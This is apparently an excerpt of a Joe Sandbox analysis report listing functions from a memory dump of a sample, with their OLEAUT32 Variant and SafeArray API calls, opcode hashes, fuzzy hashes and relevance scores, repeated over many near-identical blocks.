Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Variant$Element$Clear$CreateInitVector$Destroy
String ID:
API String ID: 3548156019-0
Opcode ID: 1c4f1e4cca312cd83b2c39f93d8b7b326025863d26278aa75b72e8e7ce2fb4f6
Instruction ID: 495df0c650b339e4a28da6b07106ea47ab73966924c9d20fff623590e0cb362f
Opcode Fuzzy Hash: 1c4f1e4cca312cd83b2c39f93d8b7b326025863d26278aa75b72e8e7ce2fb4f6
Instruction Fuzzy Hash: BE512EB5D00249AFDB00DFA4C884EEEBBB8FF49750F00816EEA15A7341D771A955CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BA350 Relevance: 16.7, APIs: 11, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6F0BA393
VariantInit.OLEAUT32(?), ref: 6F0BA39A
VariantInit.OLEAUT32(?), ref: 6F0BA3A1
VariantCopy.OLEAUT32(?,?), ref: 6F0BA3EF
VariantClear.OLEAUT32(?), ref: 6F0BA409
VariantClear.OLEAUT32(?), ref: 6F0BA50A
VariantClear.OLEAUT32(?), ref: 6F0BA511
VariantClear.OLEAUT32(?), ref: 6F0BA518
VariantClear.OLEAUT32(?), ref: 6F0BA55E
VariantClear.OLEAUT32(?), ref: 6F0BA565
VariantClear.OLEAUT32(?), ref: 6F0BA56C

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Clear$Init$Copy
String ID:
API String ID: 3214764494-0
Opcode ID: 7453c10d205e40d8fdbe2438ea195b89ca000fa077afc05647bd3af3e1751105
Instruction ID: addf75615f41d885c793c4e61407fec9b8e9700f673065809376876654a2cc9c
Opcode Fuzzy Hash: 7453c10d205e40d8fdbe2438ea195b89ca000fa077afc05647bd3af3e1751105
Instruction Fuzzy Hash: 787137726083419FD700DF69C980B5AB7E8FF89750F108A6DFA55DB291DB31E904CB62

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CCD20 Relevance: 15.5, APIs: 10, Instructions: 485
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6F0CCD5C
VariantInit.OLEAUT32(?), ref: 6F0CCD65
VariantInit.OLEAUT32(?), ref: 6F0CCD6B
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0CCD76
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0CCDAA
VariantClear.OLEAUT32(?), ref: 6F0CCDB7
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0CD2A5
VariantClear.OLEAUT32(?), ref: 6F0CD2B5
VariantClear.OLEAUT32(?), ref: 6F0CD2BB
VariantClear.OLEAUT32(?), ref: 6F0CD2C1

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 8bee8c1bf338c967216fea30b4d8e1a78e9fd7de0bd5f580379e8c1def609dbe
Instruction ID: 593129f44e134ed649e92d9d0fb994782904357eb291bdeec9a3c903a6aa5b31
Opcode Fuzzy Hash: 8bee8c1bf338c967216fea30b4d8e1a78e9fd7de0bd5f580379e8c1def609dbe
Instruction Fuzzy Hash: E612E475A15705AFC718DBA8DD84DAEB3B9BF8D300F144668F50AABB91CA30F841CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C66A0 Relevance: 15.2, APIs: 10, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6F0C66DB
VariantInit.OLEAUT32 ref: 6F0C66EA
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6F0C6700
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0C673A
VariantClear.OLEAUT32(?), ref: 6F0C6747
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0C6787
VariantClear.OLEAUT32(?), ref: 6F0C6794
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0C6849
VariantClear.OLEAUT32(?), ref: 6F0C685A
VariantClear.OLEAUT32(?), ref: 6F0C6861

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ArrayClearSafe$ElementInit$CreateDestroyVector
String ID:
API String ID: 551789342-0
Opcode ID: c6b261301e92188e1da339e7ad0dc584cddbf0a5c0eb8b176fb3a8b5c49c7bed
Instruction ID: da9824fe774c8f86471f3a904fdc46e82500a16b1f30087e187296f8b92a2ba5
Opcode Fuzzy Hash: c6b261301e92188e1da339e7ad0dc584cddbf0a5c0eb8b176fb3a8b5c49c7bed
Instruction Fuzzy Hash: D1515D76104646AFC700DF64C844B9BBBE9FFC9724F00865DF9599B250DB30E905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C6B10 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SafeArrayGetLBound.OLEAUT32(00000000,?,?), ref: 6F0C6C8B
SafeArrayGetUBound.OLEAUT32(00000000,?,?), ref: 6F0C6CA6
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 6F0C6CC7

Part of subcall function 6F0C5760: std::tr1::_Xweak.LIBCPMT ref: 6F0C5769

SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6F0C6CF9

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0C6F13
InterlockedCompareExchange.KERNEL32(6F14C6A4,45524548,4B4F4F4C), ref: 6F0C6F34

Strings

.o, xrefs: 6F0C6ECB, 6F0C6EEC, 6F0C6ECE
.o, xrefs: 6F0C6F41

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$BoundData$AccessCompareDestroyExchangeInterlockedUnaccessXweak_mallocstd::tr1::_
String ID: .o$ .o
API String ID: 2722669376-3732043186
Opcode ID: 399041f54c12395371ebb9d73d5cdf90979540d30ff604ad36a61f30da6d035e
Instruction ID: bb240e6285a6b129d451f4cc5e201a6ab84602830f55656f3fa04683716c9a0f
Opcode Fuzzy Hash: 399041f54c12395371ebb9d73d5cdf90979540d30ff604ad36a61f30da6d035e
Instruction Fuzzy Hash: 50D1E471A003089FDB20DFA8CC90BAE77F9EF46314F148569E509AB381D775E845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C4170 Relevance: 13.8, APIs: 9, Instructions: 277COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0C41AF
VariantInit.OLEAUT32(?), ref: 6F0C41B5
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0C41C0
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6F0C41F5
VariantClear.OLEAUT32(?), ref: 6F0C4201
std::tr1::_Xweak.LIBCPMT ref: 6F0C4450
SafeArrayDestroy.OLEAUT32(?), ref: 6F0C446D
VariantClear.OLEAUT32(?), ref: 6F0C447D
VariantClear.OLEAUT32(?), ref: 6F0C4483

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: dfda79ad1e9e1baba15107583e93b2d7a2c61579f01c0e080e5f2f385576929e
Instruction ID: fee73fc79cab55d12851fb2bb73393ea12be6ab9754a66511ccb6c990a089f9f
Opcode Fuzzy Hash: dfda79ad1e9e1baba15107583e93b2d7a2c61579f01c0e080e5f2f385576929e
Instruction Fuzzy Hash: 4CB12575600609AFCB14DF98C884EEEB7F9BF8D310F158568E50AAB795DA34F841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CC850 Relevance: 13.8, APIs: 9, Instructions: 271COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0CC88F
VariantInit.OLEAUT32(?), ref: 6F0CC895
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0CC8A0
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6F0CC8D5
VariantClear.OLEAUT32(?), ref: 6F0CC8E1
std::tr1::_Xweak.LIBCPMT ref: 6F0CCB1C
SafeArrayDestroy.OLEAUT32(?), ref: 6F0CCB39
VariantClear.OLEAUT32(?), ref: 6F0CCB49
VariantClear.OLEAUT32(?), ref: 6F0CCB4F

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: 35ef0387bc20812e9aa3c5d7e6a9b86866b5d2dfe1a25fb22708f06016c51ebe
Instruction ID: cb4cdbe7e2c9c45c29794da7d7aa7cef09c2c4be043b8a7cdd30839d9f6fbca3
Opcode Fuzzy Hash: 35ef0387bc20812e9aa3c5d7e6a9b86866b5d2dfe1a25fb22708f06016c51ebe
Instruction Fuzzy Hash: 1AB12775A00649EFCB14DF98C884EAEB7F5BF8D310F148569E50AAB791CA34B841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CC530 Relevance: 13.8, APIs: 9, Instructions: 259COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0CC56F
VariantInit.OLEAUT32(?), ref: 6F0CC575
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0CC580
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0CC5B5
VariantClear.OLEAUT32(?), ref: 6F0CC5C1
std::tr1::_Xweak.LIBCPMT ref: 6F0CC7D4
SafeArrayDestroy.OLEAUT32(?), ref: 6F0CC7F1
VariantClear.OLEAUT32(?), ref: 6F0CC801
VariantClear.OLEAUT32(?), ref: 6F0CC807

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateDestroyElementVectorXweakstd::tr1::_
String ID:
API String ID: 1774866819-0
Opcode ID: 56781c83367eccfef293b0f6969a890b40900c69499cad03c51463daa6cd71cd
Instruction ID: 8a1798213ebdfb212fc8f6694a54a247b75788b8b5d4d6e782cbbb6480644bd1
Opcode Fuzzy Hash: 56781c83367eccfef293b0f6969a890b40900c69499cad03c51463daa6cd71cd
Instruction Fuzzy Hash: 8CA13875A00649AFCB14DF99C884EAEB7F5FF8C310F14866DE506AB791CA34B841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C3F10 Relevance: 13.7, APIs: 9, Instructions: 201COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6F0C3F7B
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6F0C3F8D
VariantInit.OLEAUT32(?), ref: 6F0C3FB7
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6F0C3FD0
VariantClear.OLEAUT32(?), ref: 6F0C40C9
VariantClear.OLEAUT32(?), ref: 6F0C4105
SafeArrayDestroy.OLEAUT32(?), ref: 6F0C4123
VariantClear.OLEAUT32(?), ref: 6F0C4157
VariantClear.OLEAUT32(?), ref: 6F0C4168

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Bound$DestroyElementInit
String ID:
API String ID: 758290628-0
Opcode ID: 8588b25dbaa19172a0ae4f72e54795a41fe60f78e985ad04776e374047ead758
Instruction ID: f77fdf2e27c75dc5e921ca68eb014b68a432a3d856d4e35f342a4545db81e34c
Opcode Fuzzy Hash: 8588b25dbaa19172a0ae4f72e54795a41fe60f78e985ad04776e374047ead758
Instruction Fuzzy Hash: DF717B76208381AFC700DFA8C8C4A9FBBE4BB99754F144A2DF69587250C735E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C6880 Relevance: 13.6, APIs: 9, Instructions: 117COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0C68B2
VariantInit.OLEAUT32(?), ref: 6F0C68BD
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6F0C68D7
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0C68FD
VariantClear.OLEAUT32(?), ref: 6F0C6909
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0C6923
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0C6981
VariantClear.OLEAUT32(?), ref: 6F0C699E
VariantClear.OLEAUT32(?), ref: 6F0C69A4

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ArraySafe$Clear$ElementInit$CreateDestroyVector
String ID:
API String ID: 3529038988-0
Opcode ID: e7192c70218315dfe326fd08f9ea49d2df47297f26cce18d8c09a3bb8345c83c
Instruction ID: 5f3e979aaecabdef06ab470b00b535c2f4e076f7b70c9eb1475b8c747a444528
Opcode Fuzzy Hash: e7192c70218315dfe326fd08f9ea49d2df47297f26cce18d8c09a3bb8345c83c
Instruction Fuzzy Hash: 124174B2900619AFDB00DFA4C844BEFBBB8FF99360F14411AE905A7341DB75A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BC020 Relevance: 12.3, APIs: 8, Instructions: 309COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6F0BC074
VariantInit.OLEAUT32(?), ref: 6F0BC07B
VariantInit.OLEAUT32(?), ref: 6F0BC082
VariantInit.OLEAUT32(?), ref: 6F0BC089
VariantClear.OLEAUT32(?), ref: 6F0BC312
VariantClear.OLEAUT32(?), ref: 6F0BC319
VariantClear.OLEAUT32(?), ref: 6F0BC320
VariantClear.OLEAUT32(?), ref: 6F0BC327

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: c900c3dde11484adc937f17033b5125899f329a6fe6620640bbee716b4c49149
Instruction ID: 2c5b6ea06d41f68dad0577d829a98c7bdfd01777d5f2e0df17e993f42bbcb141
Opcode Fuzzy Hash: c900c3dde11484adc937f17033b5125899f329a6fe6620640bbee716b4c49149
Instruction Fuzzy Hash: 65C124716087009FD300DF68C880E5AB7E9BFC9704F648A5EF9989B365D736E845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0B16B0 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 487COMMON

Download Yara Rule

APIs

Part of subcall function 6F109BB5: _malloc.LIBCMT ref: 6F109BCF

std::tr1::_Xweak.LIBCPMT ref: 6F0B1B53
std::_Xinvalid_argument.LIBCPMT ref: 6F0B1B5D
std::exception::exception.LIBCMT ref: 6F0B1C43
__CxxThrowException@8.LIBCMT ref: 6F0B1C58

Strings

invalid vector<T> subscript, xrefs: 6F0B1B58

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentXweak_mallocstd::_std::exception::exceptionstd::tr1::_
String ID: invalid vector<T> subscript
API String ID: 3098024973-3016609489
Opcode ID: f6d3eda53882f801a4ab2007a84123778195e818e1ee2b369a0ea2f6aa3b078d
Instruction ID: 2adb27f35864b598edc26f022a3382566f88900e641c38260cb9295a6b8144b1
Opcode Fuzzy Hash: f6d3eda53882f801a4ab2007a84123778195e818e1ee2b369a0ea2f6aa3b078d
Instruction Fuzzy Hash: 58222A75C00709DFCB14CFA4C490AEEBBF5BF44314F508A5ED45AAB294E775AA88CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C3C10 Relevance: 7.7, APIs: 5, Instructions: 186COMMON

Download Yara Rule

APIs

SafeArrayGetElement.OLEAUT32(?,?,F3D820D6), ref: 6F0C3C49
VariantInit.OLEAUT32(?), ref: 6F0C3C81
VariantClear.OLEAUT32(?), ref: 6F0C3D26
VariantClear.OLEAUT32(?), ref: 6F0C3D30
VariantClear.OLEAUT32(?), ref: 6F0C3D89

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
